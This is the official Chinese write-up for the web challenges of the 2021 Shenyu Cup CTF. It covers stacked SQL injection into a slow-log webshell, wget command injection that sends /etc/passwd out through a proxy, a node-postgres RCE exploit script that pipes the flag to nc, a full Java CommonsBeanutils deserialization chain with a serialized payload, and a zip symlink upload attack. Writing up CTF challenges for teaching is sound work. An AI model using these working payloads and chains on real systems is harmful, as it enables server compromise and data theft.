2021深育杯线上赛官方WriteUp-Web篇

2021-11-19 8,590


Web

EasySQL

访问robots.txt,可得三个文件index.php、config.php、helpyou2findflag.php。

fuzz黑名单,可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。

经测试可得到闭合方式为括号,且白名单为数据库记录行数,使用1);{sqlinject}-- +可以闭合查询语句并进行堆叠注入。


show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
setglobal slow_query_log=1; # 开启慢查询日志
setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置
查询慢日志记录有关的变量。
image.png
修改慢查询日志的保存位置。
image.png
sleep函数在黑名单中因此不能直接使用,这里有一个考点:慢查询日志只会记录超过long_query_time时间的查询语句,因此要在写入webshell的sql语句中超过执行耗时命令,由于union和sleep都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改long_query_time的值。
1);setglobal long_query_time=0.000001;--+1);
show variables like 'long_query_time';--+
查询慢查询日志的判定时间。
image.png
查询一个webshell,查询记录就会被添加到slow_query_log_file变量所指向的位置,这里fuzz黑名单可知一句话木马中常见的关键词被过滤了,绕过一下即可:1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+
访问helpyou2findflag.php即可访问webshell。
image.png
接下来就是找flag了,查看用户发现有rainbow用户,ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd,查看家目录发现有ssh.log,flag就在其中。
image.png




FakeWget

题目只有三个路由,一个输入点,容易判断考点是命令注入,因此需要先不断测试传入数据并刷新观察回显,来猜测后端与wget命令拼接逻辑和过滤逻辑,下面是三个比较典型的fuzz示例:
www.baidu.com


image.png
teststr with space www.baidu.com
这里fuzz出空格不可用
image.png



ls;\nwww.baidu.com
这里fuzz出分号不可用,同理可得反引号,|,;,&均被过滤,同时能够测试出可利用\n绕过正则检查,只需要构造出空格且领用wget命令即可
image.png



第一步测试出可利用\n绕过合法性检查,且特殊符号被替换成空格,至此已经能够构造出POC读文件了,利用http_proxy和--body-file参数读取本地文件发送到代理服务器上:
-e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com
这里特殊符号被替换成空格,\n绕过了检查wget的grep命令,并将/etc/passwd的文件内容发送到代理机上。
image.png



image.png



接下来就是找flag文件,第三个路由(点击getflag)访问后看网站源码,可知flag文件名称是flag_is_here
image.png



建议的思路是:/etc/passwd看到有ctf_user用户,读取ctf_user用户的.bash_history得到flask程序的根目录是/home/ctf_user/basedirforwebapp/,直接读文件/home/ctf_user/basedirforwebapp/flag_is_here即可得到flag。
image.png



image.png




EasyWAF


访问首页“/”时,发现cookie为node=dGhlcmUgaXMgb**0aGluZ34h,base64解码后结果为“there is nothing~!”。
image.png



访问接口“/register”时,尝试进行注入,会提示“SQL Injection Attack Found! IP record!”。
正常访问接口“/register”时,返回结果为“IP have recorded!”,同时发现设置了Cookie为node=bWF4X2FsbG93ZWRfcGFja2V0,base64解码后结果“max_allowed_packet”。
image.png



访问“/hint”时,发现cookie为node=fiBub2RlLXBvc3RncmVzIH4h,base64解码后结果为“~ node-postgres ~!”。
image.png
进一步进行注入探测,可以知道,过滤了以下字符串:
"select",
"union", 
"and", 
"or",
"\\",
"/",
"*",
" "
结合以上两点信息,可以知道此web服务使用nodejs,并且waf数据保存在mysql中,而注册数据保存在postgresql中,同时可以利用mysql的max_allowed_packet特性绕过waf,并结合nodejs postgres包的RCE漏洞进行利用,给出如下exp.py。
from random import randint
import requests
import sys
# payload = "union"
def exp(url, cmd):print(cmd)
    payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`%s`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--"""% (' '* 1024* 1024* 16, cmd)    
    username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))    
    data = { 'username': username + payload,'password': 'ABCDEF'}
print('ok')
    r = requests.post(url, data = data)
print(r.content)
if __name__ == '__main__':
    exp(sys.argv[1], sys.argv[2])
执行“python3 exp.py http://ip:端口/register "cat flag.txt|nc ip 端口"”,如下:
远程服务器监听9999端口,获得flag。
image.png


Web-log


访问网站自动下载了一个log文件。
打开查看内容,提示logname错误,那么可能需要提交logname。
image.png
并且抓包可以发现filename的路径为logs/info/info.2021-08-22.log。
image.png



提交参数仍然返回错误,但可以看到改文件名其实是一个日志文件名,那么他应该是按日分割的,代入今天的年月日。
image.png



发现成功读取到日志文件(这里无法做目录遍历),根据日志内容可判断,该web是springboot,对应的jar包名为cb-0.0.1-SNAPSHOT.jar,尝试是否可以下载jar包。
image.png



成功下载jar包。
image.png



反编译jar包,可以看到刚才访问请求方法为index。
并且发现还存在一个/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser接口,对提交的user参数做base64解码,并进行反序列化,那么该处存在一个反序列化漏洞。
image.png



分析pom.xml文件,发现有commons-beanutils:1.8.2依赖。
image.png

但ysoserial工具里的CommonsBeanutils链,除了依赖commons-beanutils以外,还依赖commons-collections,导致无法使用。
image.png

这里需要找到一条无依赖CC包的利用链,如下图所示:

publicclassCommonsBeanutilsNoCC{

publicstaticvoid setFieldValue(Object obj, String fieldName, Object value) throwsException{

Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

}

publicbyte[] getPayload(byte[] clazzBytes) throwsException{

TemplatesImpl obj = newTemplatesImpl();

        setFieldValue(obj, "_bytecodes", newbyte[][]{clazzBytes});

        setFieldValue(obj, "_name", "HelloTemplatesImpl");

        setFieldValue(obj, "_tfactory", newTransformerFactoryImpl());

finalBeanComparator comparator = newBeanComparator(null, String.CASE_INSENSITIVE_ORDER);

finalPriorityQueue<Object> queue = newPriorityQueue<Object>(2, comparator);

// stub data for replacement later

        queue.add("1");

        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");

        setFieldValue(queue, "queue", newObject[]{obj, obj});

// ==================

// 生成序列化字符串

ByteArrayOutputStream barr = newByteArrayOutputStream();

ObjectOutputStream oos = newObjectOutputStream(barr);

        oos.writeObject(queue);

        oos.close();

return barr.toByteArray();

}

}

上述的clazzBytes需替换成springboot回显class,代码如下:

publicclassSpringEcho{

publicSpringEcho() throwsException{

{

Object httpresponse = null;

try{

Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", newClass[0]).invoke(null, newObject[0]);

Object httprequest =  requestAttributes.getClass().getMethod("getRequest", newClass[0]).invoke(requestAttributes, newObject[0]);

                httpresponse =  requestAttributes.getClass().getMethod("getResponse", newClass[0]).invoke(requestAttributes, newObject[0]);

String s = (String)httprequest.getClass().getMethod("getHeader", newClass[]{String.class}).invoke(httprequest, newObject[]{"Cmd"});

if(s != null&& !s.isEmpty()) {

                    httpresponse.getClass().getMethod("setStatus", newClass[]{int.class}).invoke(httpresponse, newObject[]{newInteger(200)});

byte[] cmdBytes;

if(s.equals("echo") ) {

                        cmdBytes = System.getProperties().toString().getBytes();

} else{

String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? newString[]{"cmd.exe", "/c", s} : newString[]{"/bin/sh", "-c", s};

                        cmdBytes = new java.util.Scanner(newProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();

}

Object getWriter = httpresponse.getClass().getMethod("getWriter", newClass[0]).invoke(httpresponse, newObject[0]);

                    getWriter.getClass().getMethod("write", newClass[]{String.class}).

                        invoke(getWriter, newObject[]{(newString(cmdBytes))});

                    getWriter.getClass().getMethod("flush", newClass[0]).invoke(getWriter, newObject[0]);

                    getWriter.getClass().getMethod("close", newClass[0]).invoke(getWriter, newObject[0]);

}

} catch(Exception e) {

                e.getStackTrace();

}

}

}

}

两者结合生成序列化数据,提交到服务端,数据包如下:


POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1

Host: 192.168.111.1:8081

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/91.0.4472.101Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: deviceid=1626766160499; xinhu_ca_rempass=0; xinhu_ca_adminuser=zhangsan

Connection: close

Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt

Content-Type: application/x-www-form-urlencoded

Content-Length: 4377

user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAACiDK/rq%2bAAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ%2bAQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtA**KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA%2bAQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQc**wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qc**jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB%2bAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB%2bAA54

拿到回显了。

image.png



tmp目录下找到flag文件。
image.png



获取到flag。
image.png


ZIPZIP


当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。
查看upload.php源码:
image.png
zip.php
image.png



构造payload:
先构造一个指向 /var/www/html的软连接(因为html目录下是web环境,为了后续可以getshell)。
image.png
利用命令(zip --symlinks test.zip ./*)对test文件进行压缩。
image.png
此时上传该test.zip解压出里边的文件也是软连接 /var/www/html目录下接下来的思路就是想办法构造一个gethsell文件让gethsell文件正好解压在/var/www/html 此时就可以getshell。
构造第二个压缩包,我们先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,在压缩创建的test目录 此时压缩包目录架构是:test/cmd.php。
当我们上传这个压缩包时会覆盖上一个test目录,但是test目录软链接指向/var/www/html 解压的时候会把cmd.php放在/var/www/html,此时我们达到了getsehll的目的。
image.png
上传第一个压缩包:
image.png
在上传第二个压缩包文件,此时cmd.php已经在/var/ww/html 目录下访问。
image.png
访问cmd.php执行命令成功读取到flag。
image.png



本文作者:Further_eye

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/169667.html

Tags:
评论  (0)
快来写下你的想法吧!

Further_eye

文章数:319 积分: 2105

深信服科技旗下安全实验室,致力于网络安全攻防技术的研究和积累,深度洞察未知网络安全威胁,解读前沿安全技术。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号